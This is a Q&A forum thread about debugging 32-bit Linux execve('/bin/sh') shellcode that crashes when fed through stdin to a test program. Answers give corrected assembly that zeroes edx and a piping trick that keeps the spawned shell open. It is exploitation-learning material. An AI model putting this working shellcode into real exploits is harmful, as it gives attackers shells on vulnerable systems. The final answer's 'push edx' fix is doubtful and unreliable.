1

I am working on a basic shellcode that will spawn a shell after getting called in a 32-bit program. Here is the shellcode i'm using:

xor    %eax,%eax  
push   %eax  
push   $0x68732f2f  
push   $0x6e69622f  
mov    %esp,%ebx  
push   %eax  
push   %ebx  
mov    %esp,%ecx  
mov    $0xb,%al  
int    $0x80  

(Source: http://shell-storm.org/shellcode/files/shellcode-827.php)

I am successfully using this shellcode when i hardcode it inside the exploited program:

char *shellcode = "\x31[...]x80";  
int main(void)  
{  
    (*(void(*)()) shellcode)();  
    return 0;  
}  

But when i try to read the shellcode from the standard input, i get a segmentation fault instead. This is the program used:

#include [...]
typedef void (*func)(void);
int main(void)
{
    char input[4096];
    read(0, input, 4096);
    ((func)&input)();
    return 0;
}

When i debug this program with gdb, i can see that everything goes as planned until this instruction:

int    $0x80

Where the program doesn't do anything and continue to the next instruction like nothing happened, which make the program crash.

At first i thought this was because i didn't disabled some execution prevention, but i'm compiling with the following flags:

gcc shell.c -o shell -fno-stack-protector -m32 -z execstack

I could really use help on it, I've been stuck on it all day.

3

With the shellcode given I was not able to get a shell. If you strace the binary when getting input from the stack

execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = -1 EFAULT (Bad address)

char *const envp[] is passed in edx register which is not properly set. To patch this I changed shellcode to this

 0:    31 c0                    xor    eax, eax
 2:    50                       push   eax
 3:    68 2f 2f 73 68           push   0x68732f2f
 8:    68 2f 62 69 6e           push   0x6e69622f
 d:    89 e3                    mov    ebx, esp
 f:    50                       push   eax
10:    53                       push   ebx
11:    89 e1                    mov    ecx, esp
13:    b0 0b                    mov    al, 0xb
15:    31 d2                    xor    edx, edx
17:    cd 80                    int    0x80

This will zero edx and the execve will run successfully.

execve("/bin//sh", ["/bin//sh"], NULL)  = 0

In case where you stored shellcode while compiling, I think it was luck that edx pointed to an address which was 0.

  • Thank you for the answer ! Also thank you for reminding me that i should use strace more often ;) – mat Oct 18 '17 at 17:43
  • I do still have a problem: thanks to your modification, the shellcode no longer segfaults, but instead "nothing" happens. The program exits normaly and no shell is spawned. Strace tells me that execve is used correctly (execve("/bin//sh", ["/bin//sh"], NULL) = 0) but nothing happens. In case it helps, here is the full output from strace: pastebin.com/Mt3uhSzf I don't get much info from gdb, i just see that he can't access an adress after executing bin/dash. Would you have an idea about what causes this behavior ? – mat Oct 18 '17 at 18:10
  • Adding another post since i somehow can't find how to edit the previous ones. The problem comes from the first read from the spawned shell where i somehow give a null char which kills it. Those two sets of commands gives the same result: perl -e 'print "[payload]"' > payload.bin ./vuln < payload.bin or perl -e 'print "[payload]"' | ./vuln – mat Oct 18 '17 at 21:04
  • if your shellcode is in input file, use something like this (cat input ; cat -)|./shell to let the program wait for your input to STDIN once shellcode has been executed. – sudhackar Oct 19 '17 at 12:22
  • Wow thank you so much. Your method was the only one working from all i could find ! – mat Oct 23 '17 at 19:06
1

Different ways answer from sudhackar, you can just add push edx to zeroing edx in your shellcode

xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
push edx
mov ecx, esp
mov al, 0xb
int 0x80

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.